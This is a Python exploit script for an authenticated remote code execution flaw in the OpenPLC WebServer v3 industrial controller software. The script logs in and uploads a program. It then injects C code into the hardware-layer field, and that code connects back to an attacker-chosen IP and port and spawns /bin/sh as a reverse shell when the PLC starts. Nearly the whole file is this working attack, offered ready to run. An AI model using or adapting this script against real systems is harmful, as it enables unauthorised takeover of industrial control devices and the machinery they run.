# Exploit Title: OpenPLC WebServer v3 - Authenticated Remote Code Execution # Google Dork: N/A # Date: 25/04/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://www.openplcproject.com/ # Software Link: https://github.com/thiagoralves/OpenPLC_v3 # Version: OpenPLC v3 # Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster # CVE: N/A #/usr/bin/python3 import requests import sys import time import optparse import re parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)") parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login") parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login") parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection") parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection") options, args = parser.parse_args() if not options.url: print('[+] Remote Code Execution on OpenPLC_v3 WebServer') print('[+] Specify an url target') print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444") exit() host = options.url login = options.url + '/login' upload_program = options.url + '/programs' compile_program = options.url + '/compile-program?file=681871.st' run_plc_server = options.url + '/start_plc' user = options.user password = options.passw rev_ip = options.rip rev_port = options.rport x = requests.Session() def auth(): print('[+] Remote Code Execution on OpenPLC_v3 WebServer') time.sleep(1) print('[+] Checking if host '+host+' is Up...') host_up = x.get(host) try: if host_up.status_code == 200: print('[+] Host Up! ...') except: print('[+] This host seems to be down :( ') sys.exit(0) print('[+] Trying to authenticate with credentials '+user+':'+password+'') time.sleep(1) submit = { 'username': user, 'password': password } x.post(login, data=submit) response = x.get(upload_program) if len(response.text) > 30000 and response.status_code == 200: print('[+] Login success!') time.sleep(1) else: print('[x] Login failed :(') sys.exit(0) def injection(): print('[+] PLC program uploading... ') upload_url = host + "/upload-program" upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"} upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"} upload_data = "-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"file\"; filename=\"program.st\"\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\n VAR\n var_in : BOOL;\n var_out : BOOL;\n END_VAR\n\n var_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\n RESOURCE Res0 ON PLC\n TASK Main(INTERVAL := T#50ms,PRIORITY := 0);\n PROGRAM Inst0 WITH Main : prog0;\n END_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n" upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data) act_url = host + "/upload-program-action" act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"} act_data = "-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_name\"\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_descr\"\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_file\"\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"epoch_time\"\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n" upload_act = x.post(act_url, headers=act_headers, data=act_data) time.sleep(2) def connection(): print('[+] Attempt to Code injection...') inject_url = host + "/hardware" inject_dash = host + "/dashboard" inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"} inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------289530314119386812901408558722", "Origin": host, "Connection": "close", "Referer": host + "/hardware", "Upgrade-Insecure-Requests": "1"} inject_data = "-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"hardware_layer\"\r\n\r\nblank_linux\r\n-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"custom_layer_code\"\r\n\r\n#include \"ladder.h\"\r\n#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n \r\n \r\n \r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\n int port = "+rev_port+";\r\n struct sockaddr_in revsockaddr;\r\n\r\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\r\n revsockaddr.sin_family = AF_INET; \r\n revsockaddr.sin_port = htons(port);\r\n revsockaddr.sin_addr.s_addr = inet_addr(\""+rev_ip+"\");\r\n\r\n connect(sockt, (struct sockaddr *) &revsockaddr, \r\n sizeof(revsockaddr));\r\n dup2(sockt, 0);\r\n dup2(sockt, 1);\r\n dup2(sockt, 2);\r\n\r\n char * const argv[] = {\"/bin/sh\", NULL};\r\n execve(\"/bin/sh\", argv, NULL);\r\n\r\n return 0; \r\n \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n" inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data) time.sleep(3) comp = x.get(compile_program) time.sleep(6) x.get(inject_dash) time.sleep(3) print('[+] Spawning Reverse Shell...') start = x.get(run_plc_server) time.sleep(1) if start.status_code == 200: print('[+] Reverse connection receveid!') sys.exit(0) else: print('[+] Failed to receive connection :(') sys.exit(0) auth() injection() connection()